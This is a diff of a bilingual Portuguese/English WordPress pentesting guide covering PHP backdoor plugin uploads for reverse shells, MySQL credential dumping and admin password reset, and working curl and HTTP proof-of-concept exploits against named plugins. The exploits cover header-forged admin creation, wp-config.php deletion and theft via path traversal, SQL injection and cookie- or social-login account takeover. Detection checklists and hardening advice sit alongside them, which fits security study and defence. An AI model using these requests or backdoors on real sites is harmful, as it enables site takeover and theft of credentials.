Pesquise na internet como acessar essa página atualizada. Nesse caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Pesquise na internet como acessar essa página atualizada. Neste caso, você precisa acessar: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -269,61 +269,61 @@ para obter uma sessão.
### PHP plugin
Pode ser possível fazer upload de arquivos .php como um plugin.\
Crie seu backdoor php usando, por exemplo:
It may be possible to upload .php files as a plugin.\
Crie seu php backdoor usando por exemplo:
![](<../../images/image (183).png>)
Depois adicione um novo plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Faça upload do plugin e pressione Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Clique em Procced:
Click on Procced:
![](<../../images/image (70).png>)
Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell enviado:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Acesse-o e você verá a URL para executar o reverse shell:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Upload e ativação de plugin malicioso
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma:
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
1. **Aquisição do plugin**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do plugin**:
1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do Plugin**:
- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`.
- Faça o upload do arquivo zip do plugin baixado.
3. **Ativação do plugin**: Depois que o plugin for instalado com sucesso, ele deve ser ativado através do dashboard.
4. **Exploitation**:
- Faça upload do arquivo zip do plugin baixado.
3. **Ativação do Plugin**: Uma vez que o plugin seja instalado com sucesso, ele precisa ser ativado através do dashboard.
4. **Exploração**:
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável.
- O Metasploit framework fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
O conteúdo inclui auxílios visuais mostrando os passos no WordPress dashboard para instalar e ativar o plugin. Contudo, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.
O conteúdo inclui recursos visuais que descrevem os passos no WordPress dashboard para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## De XSS para RCE
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações veja [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele oferece suporte para as versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações ver [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece suporte para as versões 6.X.X, 5.X.X e 4.X.X do WordPress e permite:
- _**Privilege Escalation:**_ Cria um usuário no WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu custom plugin (backdoor) para o WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress.
- _**(Custom) Custom Exploits:**_ Exploits customizados para plugins/temas WordPress de terceiros.
- _**(Custom) Custom Exploits:**_ Custom Exploits para Plugins/Themes de terceiros do WordPress.
## Pós-exploração
## Post Exploitation
Extraia nomes de usuário e senhas:
Extrair nomes de usuário e senhas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -331,25 +331,25 @@ Alterar senha do admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Pentest de Plugins do Wordpress
### Superfície de Ataque
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em seu funcionamento. Você pode descobrir como um plugin pode expor funcionalidades nos itens a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode encontrar como um plugin pode expor funcionalidade nos pontos abaixo e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uma das maneiras que um plugin pode expor funções para usuários é via AJAX handlers. Eles podem conter logic, authorization, ou authentication bugs. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu papel).
Uma das formas pelas quais um plugin pode expor funções para uso é via handlers AJAX. Esses handlers podem conter bugs de lógica, authorization ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um Wordpress nonce que **qualquer usuário autenticado na instância Wordpress pode possuir** (independentemente do seu papel).
Estas são as funções que podem ser usadas para expor uma função em um plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (mesmo não autenticados).**
**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (até mesmo não autenticados).**
> [!CAUTION]
> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica que o usuário está logado, geralmente não verifica o papel (role) do usuário. Então usuários com poucos privilégios podem ter acesso a ações de alto privilégio.
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica se o usuário está logado, normalmente não verifica o papel do usuário. Portanto, usuários com baixa privilégio podem ter acesso a ações de alto privilégio.
- **REST API**
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` é um callback para uma função que verifica se um dado usuário está autorizado a chamar o método da API.
The `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
**Se a função interna `__return_true` for usada, ela simplesmente vai pular a verificação de permissões do usuário.**
**Se a função integrada `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.**
- **Direct access to the php file**
- **Acesso direto ao arquivo php**
Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Então, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela poderá ser explorada por qualquer usuário.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador.
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador.
- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a core users REST route.
- Impacto: escalada de privilégios não autenticada para admin ao criar um novo administrador via a rota REST core users.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o ID do usuário 1, tipicamente a primeira conta de administrador).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
- Exploited route: `POST /wp-json/wp/v2/users` com um array de roles elevado.
PoC
```http
@ -393,29 +393,29 @@ Content-Length: 114
```
Por que funciona
- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e pula as verificações de capability.
- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do cabeçalho.
- O plugin mapeia um header controlado pelo cliente para o estado de autenticação e pula as verificações de capability.
- O core do WordPress espera a capability `create_users` para esta rota; o exploit do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header.
Indicadores de sucesso esperados
Indicadores esperados de sucesso
- HTTP 201 com um corpo JSON descrevendo o usuário criado.
- Um novo usuário admin visível em `wp-admin/users.php`.
Checklist de detecção
Lista de verificação de detecção
- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou vendor SDKs que leem cabeçalhos customizados para definir o contexto do usuário (ex.: `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revise registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de cabeçalhos da requisição.
- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que sejam protegidos apenas por valores de cabeçalho.
- Busque por `getallheaders()`, `$_SERVER['HTTP_...']`, ou vendor SDKs que leem headers customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revise os registros de REST para callbacks privilegiados que não têm checagens robustas de `permission_callback` e, em vez disso, dependem de headers da requisição.
- Procure usos das funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores em headers.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
Temas e plugins do WordPress frequentemente expõem handlers AJAX através dos hooks `wp_ajax_` e `wp_ajax_nopriv_`. Quando a variante **_nopriv_** é usada **o callback torna-se alcançável por visitantes não autenticados**, então qualquer ação sensível deve, adicionalmente, implementar:
1. A **verificação de capability** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Sanitização / validação estrita da entrada**.
1. Uma **verificação de capability** (ex.: `current_user_can()` ou ao menos `is_user_logged_in()`), e
2. Um **CSRF nonce** validado com `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitização / validação estrita dos inputs**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
O tema multipurpose Litho (< 3.1) esqueceu desses 3 controles na funcionalidade *Remove Font Family* e acabou distribuindo o seguinte código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -434,13 +434,13 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemas introduzidos por este snippet:
Problems introduzidos por este trecho:
* **Unauthenticated access** o hook `wp_ajax_nopriv_` está registrado.
* **Sem nonce / capability check** qualquer visitante pode acessar o endpoint.
* **Sem sanitização do caminho** a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico `../../` traversal.
* **Acesso não autenticado** o hook `wp_ajax_nopriv_` está registrado.
* **Sem verificação de nonce / capability** qualquer visitante pode acessar o endpoint.
* **Sem sanitização do caminho** a string controlada pelo usuário `fontfamily` é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico `../../` traversal.
#### Exploitation
#### Exploração
Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única requisição HTTP POST:
```bash
@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para comprometer plugins de segurança) ou regras `.htaccess`.
Outros alvos impactantes incluem arquivos `.php` de plugins/temas (para quebrar plugins de segurança) ou regras `.htaccess`.
#### Checklist de detecção
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame funções de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenação de entrada do usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### Escalada de privilégio via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros da requisição (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
Um exemplo do mundo real foi encontrado no Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). O ramo de reset restaurava funções com base em `reset-for=<username>` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas no user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Why its exploitable
Por que é explorável
- Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor.
- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada).
Exploitation (example)
Exploração (exemplo)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -493,23 +493,23 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Em builds vulneráveis isso remove as roles atuais e readiciona as roles originais salvas (por exemplo, `administrator`), efetivamente escalando privilégios.
Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios efetivamente.
Detection checklist
Checklist de detecção
- Procure por funcionalidades de troca de role que persistem as “original roles” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`).
- Procure por funcionalidades de troca de função que persistem as “funções originais” em meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`).
- Identifique caminhos de reset/restore que:
- Leem usernames de `$_REQUEST` / `$_GET` / `$_POST`.
- Modificam roles via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`.
- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
### Escalação de privilégios não autenticada via troca de usuário confiando em cookie no `init` público (Service Finder “sf-booking”)
Alguns plugins conectam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chama `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.');
```
Por que é explorável
- O hook público `init` torna o handler acessível por usuários não autenticados (sem verificação `is_user_logged_in()`).
- O hook público `init` torna o handler acessível a usuários não autenticados (sem proteção `is_user_logged_in()`).
- A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`).
- A chamada direta a `wp_set_auth_cookie($uid)` autentica o solicitante como esse usuário sem quaisquer verificações de capability/nonce.
- A chamada direta a `wp_set_auth_cookie($uid)` autentica o solicitante como esse usuário sem verificações de capability/nonce.
Exploração (sem autenticação)
Exploração (não autenticada)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -554,26 +554,26 @@ Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
### Considerações de WAF para WordPress/plugin CVEs
WAFs genéricos de edge/servidor são calibrados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/auth específicos da aplicação que parecem tráfego benigno, a menos que o engine entenda as rotas do WordPress e a semântica do plugin.
WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugin são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda rotas do WordPress e a semântica do plugin.
Offensive notes
Notas ofensivas
- Alveje endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.
- Direcione endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Teste primeiro caminhos não autenticados (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
- Casos típicos de alto impacto: elevação de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.
Defensive notes
Notas defensivas
- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
- Prefira verificações de segurança do tipo positive-security no código (capabilities, nonces, validação estrita de entrada) em vez de filtros negativos por regex.
- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente correções virtuais específicas da vulnerabilidade na camada de aplicação ou atualize rapidamente.
- Prefira checagens de segurança de lista positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.
## Proteção do WordPress
### Atualizações regulares
Certifique-se de que WordPress, plugins, e themes estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
Certifique-se de que WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -591,13 +591,14 @@ Além disso, **instale apenas plugins e temas confiáveis do WordPress**.
- Remova o usuário padrão **admin**
- Use **senhas fortes** e **2FA**
- Periodicamente **revisar** as **permissões** dos usuários
- **Limitar tentativas de login** para prevenir ataques Brute Force
- Renomeie o arquivo **`wp-admin.php`** e permita acesso somente internamente ou de certos endereços IP.
- Revise periodicamente as **permissões** dos **usuários**
- **Limite tentativas de login** para prevenir ataques de Brute Force
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou a partir de certos endereços IP.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
O plugin WP Job Portal de recrutamento expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
### SQL Injection não autenticado via validação insuficiente (WP Job Portal <= 2.3.2)
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -611,11 +612,11 @@ Problemas introduzidos por este trecho:
1. **Entrada de usuário não sanitizada** `parentid` vem diretamente da requisição HTTP.
2. **Concatenação de strings dentro da cláusula WHERE** sem `is_numeric()` / `esc_sql()` / prepared statement.
3. **Alcance sem autenticação** embora a ação seja executada através de `admin-post.php`, a única verificação presente é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que embede o shortcode `[wpjobportal_my_resumes]`.
3. **Acessibilidade não autenticada** embora a ação seja executada através de `admin-post.php`, a única verificação é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode obter de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
#### Exploração
1. Obtenha um nonce válido:
1. Obtenha um nonce novo:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -627,10 +628,10 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi.
A resposta divulga o resultado da query injetada ou altera o banco de dados, provando SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
### Download Arbitrário de Arquivos Não Autenticado / Path Traversal (WP Job Portal <= 2.3.2)
Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
@ -638,9 +639,9 @@ $file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo.
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
#### Exploração
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -651,9 +652,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials and auth keys.
## Tomada de conta não autenticada via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
Muitos themes/plugins incluem helpers de "social login" expostos via admin-ajax.php. Se uma action AJAX não autenticada (wp_ajax_nopriv_...) confiar em identificadores fornecidos pelo cliente quando os dados do provedor estiverem ausentes e então chamar wp_set_auth_cookie(), isso se torna um full authentication bypass.
Typical flawed pattern (simplified)
```php
@ -687,14 +688,14 @@ wp_send_json(['status' => 'not_user']);
Por que é explorável
- Acessível sem autenticação via admin-ajax.php (ação wp_ajax_nopriv_…).
- Não há verificações de nonce/capability antes de mudança de estado.
- Falta verificação do provedor OAuth/OpenID; o default branch aceita entrada do atacante.
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica o solicitante como qualquer endereço de email existente.
- Sem verificações de nonce/capability antes de mudanças de estado.
- Falta verificação do provider OAuth/OpenID; o ramo padrão aceita entrada do atacante.
- get_user_by('email', $_POST['id']) seguido por wp_set_auth_cookie($uid) autentica o requisitante como qualquer endereço de e-mail existente.
Exploitation (unauthenticated)
- Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um email de usuário válido.
- Defina o provedor como um valor não suportado (ou omita) para atingir o default branch e passar id=<victim_email>.
- Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um endereço de e-mail de usuário válido.
- Defina provider para um valor não suportado (ou omita-o) para atingir o ramo padrão e enviar id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -707,41 +708,41 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Indicadores de sucesso esperados
Expected success indicators
- HTTP 200 com corpo JSON como {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* para o usuário vítima; requisições subsequentes são autenticadas.
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Encontrando o nome da action
Finding the action name
- Inspecione o tema/plugin procurando por registros add_action('wp_ajax_nopriv_...', '...') no código de social login (ex.: framework/add-ons/social-login/class-social-login.php).
- Procure por wp_set_auth_cookie(), get_user_by('email', ...) dentro dos handlers AJAX.
- Inspecione o tema/plugin em busca de registros add_action('wp_ajax_nopriv_...', '...') no código de social login (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep por wp_set_auth_cookie(), get_user_by('email', ...) dentro de handlers AJAX.
Checklist de detecção
Detection checklist
- Web logs mostrando POSTs não autenticados para /wp-admin/admin-ajax.php com a action social-login e id=<email>.
- Respostas 200 com o JSON de sucesso imediatamente antes de tráfego autenticado vindo do mesmo IP/User-Agent.
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Endurecimento
Hardening
- Não derive identidade a partir de entrada do cliente. Aceite apenas emails/IDs que se originem de um token/ID do provedor validado.
- Exija nonces CSRF e checagens de capability mesmo para helpers de login; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário.
- Valide e verifique respostas OAuth/OIDC no servidor; rejeite providers ausentes/inválidos (sem fallback para o POST id).
- Não derive identidade a partir de input do cliente. Aceite apenas emails/IDs originados de um token/ID do provider validado.
- Exija nonces CSRF e capability checks mesmo para login helpers; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário.
- Valide e verifique respostas OAuth/OIDC server-side; rejeite providers ausentes/inválidos (sem fallback para POST id).
- Considere desabilitar temporariamente o social login ou aplicar um patch virtual na borda (bloquear a action vulnerável) até corrigir.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
## Escalada de privilégios não autenticada via emissão de token/chave REST em identidade previsível (OttoKit/SureTriggers ≤ 1.0.82)
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Alguns plugins expõem endpoints REST que emitem “connection keys” reutilizáveis ou tokens sem verificar as capacidades do chamador. Se a rota autentica apenas com base em um atributo previsível (ex.: username) e não vincula a chave a um usuário/sessão com checagens de capability, qualquer atacante não autenticado pode emitir uma chave e invocar ações privilegiadas (criação de conta admin, ações de plugin → RCE).
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the callers capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
